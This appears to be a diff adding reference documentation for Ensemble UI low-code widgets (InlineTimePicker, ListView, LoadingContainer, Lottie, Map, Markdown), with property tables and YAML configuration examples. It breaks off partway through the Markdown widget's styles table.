+| addressBook | +| solidAddressBook | +| addressCard | +| solidAddressCard | +| applePay | + +--- + + +# Image widget + +The Image Widget allows you to render images from a URL or [local assets](#using-local-assets). + +You can manage your assets using Ensemble Studio. [See how](#assets-images-videos-etc) + +--- + +Here's the updated documentation for the `InlineTimePicker` widget with the correct link to the Kitchen Sink: + +# InlineTimePicker Widget + +The InlineTimePicker widget provides an intuitive, iOS-style time selection interface that allows users to select hours, minutes, and optionally seconds, all within the same view. It is designed to offer a smooth and customizable time-picking experience directly within the interface, without the need for opening a dialog. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HGdWHF4G23mpkHBV8o3F) + +## Key Concepts + +- **mode**: Defines the format of the time picker. You can choose between hours and minutes (`hm`), minutes and seconds (`ms`), or hours, minutes, and seconds (`hms`). +- **selectedTime**: Retrieves the current selected time as a formatted string, including hours, minutes, and seconds if applicable. +- **onTimeChanged**: Executes an action when the selected time is changed by the user. This allows developers to perform tasks such as updating other parts of the UI or triggering business logic. +- **minuteInterval**: Sets the interval for minute selection, allowing for customization of the granularity of minute steps. +- **secondInterval**: Sets the interval for second selection, providing control over how precisely seconds can be selected. +- **onTimeChangedHaptic**: Allows the addition of haptic feedback when the time is changed, enhancing the tactile interaction experience for users. +- **initialTime**: Specifies the initial time that the picker will display when it is first rendered. + +## Example + +Here’s an example of how to use the InlineTimePicker widget in a YAML configuration: + +```yaml +View: + header: + title: InlineTimePicker + styles: + scrollableView: true + body: + Column: + children: + - InlineTimePicker: + id: timePicker + initialTime: "11:44" + mode: hms + showHourLabel: false + + - Button: + label: Get Time + onTap: | + //@code + console.log(timePicker.selectedTime); +``` + +In this example: +- The `InlineTimePicker` is configured to use the `hms` mode, which allows the selection of hours, minutes, and seconds. +- The `initialTime` is set to `"11:44"`, which is the time the picker will display when first rendered. +- The `showHourLabel` is set to `false`, hiding the hour label from the picker. +- The button logs the selected time in the format `hh:mm:ss a` to the console when pressed. + +## Reference +#### Properties + +| Property | Type | Description | +| :------------------ |:---------------------------------------|:----------------------------------------------------------------------------------------------------------| +| mode | enum | Defines the format of the time picker. Options are `hm` (hours and minutes), `ms` (minutes and seconds), or `hms` (hours, minutes, and seconds). | +| selectedTime | string | Returns the selected time as a formatted string, including hours, minutes, and seconds if the `hms` mode is used. | +| onTimeChanged | action | Executes a specified action whenever the time selection changes. | +| minuteInterval | int | Sets the interval for minute selection (e.g., 1, 5, 10). This determines the steps in which minutes can be selected. | +| secondInterval | int | Sets the interval for second selection (e.g., 1, 10, 15). This determines the steps in which seconds can be selected. | +| onTimeChangedHaptic | string | Adds haptic feedback when the time is changed, providing a tactile response for the user. | +| initialTime | string | Sets the initial time displayed by the picker when it is first rendered (formatted as `HH:mm`). | +| showHourLabel | bool | Controls whether the hour label is displayed in the time picker. | + +## Example Usage +This widget is ideal for scenarios where you want users to pick a specific time within the app, without having to open a new screen or dialog. It is particularly useful in settings such as alarm clocks, event schedulers, or any application that requires precise time input. + +### Mode Examples +- **hm (Hours and Minutes)**: Useful for scenarios where second precision is not required, such as setting a meeting time. +- **ms (Minutes and Seconds)**: Ideal for countdowns or timers. +- **hms (Hours, Minutes, and Seconds)**: Provides the full range of time selection, perfect for more detailed scheduling needs. + +By customizing the `minuteInterval` and `secondInterval`, developers can control how fine-grained the time selection is, ensuring that users can quickly and accurately select the desired time. + +This widget can be fully integrated with other actions and components in your app, offering flexibility and ease of use in time-based interactions. + +--- + +# ListView + +The ListView Widget enables the rendering of lists with dynamic and scrollable content, facilitating efficient display and navigation of large datasets within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) + +## Properties + +| Property | Type | Description | +| :---------------- | :------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of widgets | +| onItemTap | action | Dispatch when an ListView item is selected/tapped.The event dispatches only when you tap on the item. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above| +| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| selectedItemIndex | integer | Selecting a ListView item gives the index of selected item | +| onSwipeToRefresh | action | Enable swipe to refresh. This will trigger onRefresh action if enabled | +| nestedScroll | boolean | Enable ScrollView synchronization with ListView if enabled. | +| shrinkWrap | boolean | ListView will be scrollable even inside ScrollView but with it's own scrollController if enabled. | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| showSeparator | boolean | Show a separator between the items (default is true). | +| separatorColor | integer or string | Set the color for the separator between items, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| separatorWidth | integer | The thickness of the separator between items | +| separatorPadding | string or integer | Padding with CSS-style value e.g. padding: 5 20 5 Default 0 0 0 | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | +| gap | integer | The gap between the children in the main direction | + +--- + +# LoadingContainer Widget + +The LoadingContainer widget is designed to simplify the process of displaying a loading indicator while content is being fetched or processed. It provides a convenient abstraction layer for managing loading states in your app, allowing developers to easily toggle between the loading state and the state where content is available. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) + +## Key Concepts + +- **loadingWidget**: Specify a widget to display while loading content. This can point to a custom widget, such as a column of shapes to represent what the loaded content might look like. +- **widget**: This is the widget to display when content is available. +- **isLoading**: This is typically an expression that returns true or false. When true, the `loadingWidget` is displayed. When false, the `widget` will display. +- **useShimmer**: Enables a shining animation to indicate that the content is loading. The animation can be over a default shimmer or the loadingWidget if specified. +- **shimmerOptions**: A nested object to customize the shimmer effect, including gradient colors, stops, and animation range. + +## Example + +Typically LoadingContainer is used in combination with an API call so that you can show a loading state while waiting for the API to respond. + +```yaml +View: + header: + title: "API: Handle loading state" + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Invoke API + onTap: + executeActionGroup: + actions: + - invokeAPI: + name: getData + - executeCode: + body: | + content.visible = true + + - LoadingContainer: + id: content + visible: false + isLoading: ${ getData.isLoading } + widget: + Text: + text: Data is ready + loadingWidget: + Shape: + type: rectangle + styles: + backgroundColor: grey + width: ${ device.width } + borderRadius: 8 + height: 100 + useShimmer: true + shimmerProperties: + gradientColors: + - 0xFFFF5733 + - 0xFF33FF57 + - 0xFF3357FF + gradientStops: + - 0.0 + - 0.5 + - 1.0 + min: -0.5 + max: 1.5 + +API: + getData: + method: GET + url: https://httpbin.org/delay/10 +``` + +## Reference +#### Properties + +| Property | Type | Description | +| :------------ |:---------------------------------------|:--------------------------------------------------------| +| isLoading | bool | Whether to display a loading widget. The default will be empty (without shimmer) or a default loading shimmer, unless a loadingWidget is specified. | +| useShimmer | bool | A shining animation to designate that the content is loading. The animation can be over a defaults shimmer or the loadingWidget if specified. | +| loadingWidget | object | The widget to render during the loading state (i.e. while isLoading is true). +| widget | object | The widget to render as the content of this container. | +| shimmerOptions | object | A nested object to customize the shimmer effect. Includes the following sub-properties: | + +#### shimmerOptions +| Property | Type | Description | +| :--------------- |:-----------|:----------------------------------------------------------------------------------------------------------------| +| gradientColors | list | A list of colors to be used in the shimmer effect's gradient. | +| gradientStops | list | A list of stops that define the position of each color in the shimmer effect's gradient. | +| min | double | The minimum value for the shimmer animation's range. | +| max | double | The maximum value for the shimmer animation's range. | +| shimmerSpeed | int | The speed of the shimmer animation in milliseconds. | +| shimmerEffect | enum | The direction of the shimmer effect. Options are `horizontal`, `vertical`, or `diagonal`. | +| padding | double | The padding around the shimmer effect. | +| tileMode | enum | The tileMode property in a gradient determines how the gradient repeats or extends beyond its original bounds, offering options like `clamp`, `mirror`, and `repeated` to control the visual effect. | + +--- + +# Lottie Animation widget + +The Lottie Render Widget allows you to effortlessly render Lottie animation files, bringing life and motion to your application with smooth and captivating visual effects. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) + +### NOTE +__NOTE:__ *onTap* property works only for native apps (iOS and Android) and web apps. onTap will not work when the web app is compiled with the [HTML renderer](https://docs.flutter.dev/platform-integration/web/renderers) option (i.e. --web-renderer html). Ensemble Studio is compiled with HTML renderer option so the onTap will not work on the studio. However, it should work fine for Ensemble Go (iOS) and Ensemble Preview (Android). + +## Properties + +| Property | Type | Description | +| :------- | :----- | :---------------------------------------- | +| source | string | URL or asset name of the Lottie json file | +| styles | object | [See properties](#styles) | +| onForward | action | Callback which is fired when the animation starts playing in the forward direction | +| onReverse | action | Callback which is fired when the animation starts playing in the reverse direction | +| onComplete | action | Callback which is fired when the animation is completed | +| [onTap](#note) | action | Run a block of code or execute a given action when there is a tap event on lottie widget | +| onStop | action | Callback which is fired when the animation is stopped. This is fired only when animation is stopped or aborted in between. | +| autoPlay | boolean | Whether to automatically start the animation in the forward direction (default true) | +| repeat | boolean | Whether we should repeat the animation (default true) | +| onTapHaptic | enum | The type of haptic to perform when lottie is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| fit | string | How to fit the Lottie animation within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# Map widget + +The Map widget enables the display of _location markers_ and _overlays_, providing a dynamic visual representation of geographic data. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) + + +## Basic Usage +Map requires a dimension to render. Most parent widget will provide a constraint so Map can stretch to fit. When the parent doesn't provide a size, e.g. Column on the vertical axis, you must provide the dimension on that axis. Below we use a FlexColumn which will consume all available vertical space, and in turn gives Map the complete screen height. + +```yaml +View: + onLoad: + invokeAPI: + name: getVenue + + body: + FlexColumn: + children: + - Map: + styles: + # zoom to fit all markers + autoZoom: true + # position the toolbar + toolbarAlignment: centerLeft + markers: + data: ${getVenue.body.location} + name: location + location: ${location.lat} ${location.lng} + +API: + getVenue: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: |- + // modifying the response to add latitute and longitude + response.body = { + "location": [{ + "lat": 37.82159, + "lng": -121.99996 + }] + }; + +``` + +## Using custom markers +Ensemble provides three different ways of customizing markers. You can use any Ensemble icons, use images via URLs or local asset, or define a custom widget to render as a marker. +### Using Ensemble icons (Native only) +Ensemble provides Material, FontAwesome, and Remix icons out of the box, and you can use these icons as markers. This is supported on Native platform only (Web is not currently supported). +The marker's size can be adjusted using the combination of icon's `size`, `iconPadding` (the circular shape around the icon), and `padding` (the space between the inner circular shape and the pin itself). +```yaml +View: + onLoad: + invokeAPI: + name: getVenue + + body: + Map: + styles: + autoZoom: true + autoZoomPadding: 100 + markers: + data: ${getVenue.body.location} + name: location + location: ${location.lat} ${location.lng} + marker: + icon: + name: home_5_line + library: remix + selectedMarker: + icon: + name: building_2_line + library: remix + backgroundColor: blue + + +API: + getVenue: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: |- + + response.body = { + "location": [{ + "lat": 37.82159, + "lng": -121.99996 + }, { + "lat": 37.773972, + "lng": -122.431297 + }] + }; + +``` +Screenshot + +### Using Images +You can use images as markers by providing a URL or local asset. To further fine-tune the marker dimension, use `resizedWidth` or `resizedHeight`, but avoid using both to maintain the aspect ratio. +```yaml +Map: + styles: + autoZoom: true + autoZoomPadding: 100 + markers: + data: ${getVenue.body.location} + name: location + location: ${location.lat} ${location.lng} + marker: + image: + source: + resizedWidth: 40 +``` + +### Using custom widget (Native only) +You can use a custom widget to render as a marker. This will only supported on Native platform. +```yaml +View: + onLoad: + invokeAPI: + name: getVenue + + body: + Map: + styles: + autoZoom: true + autoZoomPadding: 100 + markers: + data: ${getVenue.body.items} + name: item + location: ${item.lat} ${item.lng} + marker: + widget: + Text: + text: ${item.city} + styles: + padding: 5 10 + borderColor: blue + backgroundColor: white + borderRadius: 100 + textStyle: + color: black + + +API: + getVenue: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: |- + + response.body = { + "items": [{ + "lat": 37.82159, + "lng": -121.99996, + "city": "Danville" + }, { + "lat": 37.773972, + "lng": -122.431297, + "city": "San Francisco" + + }] + }; +``` +Screenshot + +## Properties + +| Property | Type | Description | +| :----------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| fixedMarker | boolean | Keeps the marker fixed at the center of the map while allowing users to move the map around it. This is useful for selecting a location on the map and get the precise coordinates when users move the map around. | +| draggableMarker | boolean | Allows users to drag the marker around the map. | +| styles | object | [See properties](#styles) | +| onCameraMove | action | Execute an Action when the map's bound has changed. The bound data is available using `event.data.bounds..`. | +| onMapCreated | action | Execute an Action when the map's initial state has been rendered. Note that this may not mean the location and markers (if any) are available yet. | +| markers | object | [See properties](#markers) | + +### styles + +| Property | Type | Description | +| :------------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| markerWidth | integer | The width of each marker. (default 60) | +| markerHeight | integer | The height of each marker. (default 30) | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| autoZoom | boolean | Automatically zoom the maps to show all the markers (and optionally the current location). Default True. | +| autoZoomPadding | integer | Adjusts the padding around map elements automatically, ensuring a visually balanced and optimized display within the Maps widget. | +| locationEnabled | boolean | Enables the use of location services, allowing the Maps widget to access and display the user's current location on the map. | +| includeCurrentLocationInAutoZoom | boolean | Adjusts the automatic zoom level of the map to include the user's current location within the visible area of the Maps widget. | +| showToolbar | boolean | Show the Map toolbar that contains some convenience controls. You can also turn each individual controls on or off. | +| showMapTypesButton | boolean | Toggle between the different map types. (default true) | +| showLocationButton | boolean | Show the button that animates to the user's location. (default true) | +| showZoomButtons | boolean | Applicable on Web only. Show the zoom in/out controls on the map. (default true on Web) | +| rotateEnabled | boolean | Enables the ability to rotate the map view within the Maps widget, allowing users to change the orientation for a customized viewing experience. | +| scrollEnabled | boolean | Allows users to scroll and pan the map within the Maps widget, providing interactive navigation and exploration of the map content. | +| tiltEnabled | boolean | Enables users to adjust the tilt or perspective of the map view for a dynamic and immersive experience. | +| zoomEnabled | boolean | Enables users to zoom in and out on the map within the Maps widget for closer or wider views. | +| toolbarMargin | integer/ string | The margin around the toolbar. (default 10 on all sides) | +| toolbarAlignment | string | How to align the toolbar within the map. (default bottom right). If both positioning (top/bottom/left/right) and alignment are used, positions will be applied first, then alignment within the available constraint. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| toolbarTop | integer | Offset the toolbar from the top edge of the map | +| toolbarBottom | integer | Offset the toolbar from the bottom edge of the map | +| toolbarLeft | integer | Offset the toolbar from the left edge of the map | +| toolbarRight | integer | Offset the toolbar from the right edge of the map | +| mapType | String | Allows users to select different map types `normal`, `satellite`, `terrain`, `hybrid` | +| initialCameraPosition | Object | Represents the initial camera position on the map. [see properties](#stylesinitialcameraposition) | +| markerOverlayMaxWidth | Integer | Specifies the maximum width of the marker overlay | +| markerOverlayMaxHeight | Integer | Sets the maximum height of the marker overlay | +| scrollableMarkerOverlay | Boolean | Determines if swiping left/right within the overlay will navigate to next/previous marker | +| dismissibleMarkerOverlay | Boolean | Enables swiping down to close the overlay | +| autoSelect | Boolean | Automatically selects a marker when the markers are updated | + +### markers + +| Property | Type | Description | +| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| data | String | Binds the marker list to the data | +| name | String | Gives a name to the marker | +| location | object | Specifies the geographic coordinates (latitude and longitude) for the Maps widget to display a specific location. [see properties](#markerslocation) | +| lat | Number | Latitude coordinate of the marker | +| lng | Number | Longitude coordinate of the marker | +| marker | object | [see properties](#markersmarker) | +| source | string | The marker's image asset (URL or local asset) | +| selectedMarker | object | [see properties](#selectedMarker) | +| source | string | The marker's image asset when selected (URL or local asset) | +| overlayWidget | Widget | The widget to render as an overlay over the maps. Use this to convey more detail info for each marker. | +| onMarkerTap | action | Action to execute when tapping on the marker | +| onMarkersUpdated | action | Action to execute when the markers have been updated and rendered | + +##### markers.location + +| Property | Type | Description | +| -------- | ------ | --------------------------- | +| lat | Number | The latitude of the marker | +| lng | Number | The longitude of the marker | + +##### markers.marker + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------- | +| source | string | The marker's image asset. This can come from URL or from local asset. | + +##### markers.selectedMarker + +| Property | Type | Description | +| :------- | :----- | :---------------------------------------------------------------------------------- | +| source | string | The marker's image asset when selected. This can come from URL or from local asset. | + +##### styles.initialCameraPosition + +| Property | Type | Description | +| -------- | ------- | -------------------- | +| lat | Number | Latitude coordinate | +| lng | Number | Longitude coordinate | +| zoom | Integer | Zoom level | + +--- + +# Markdown widget + +The Markdown Render Widget empowers you to effortlessly render Markdown text, transforming it into beautifully formatted and structured content for your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------- | +| text | string | Your text in markdown format | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | +| linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| captureWebPointer | boolean | Applicable for Web only. When 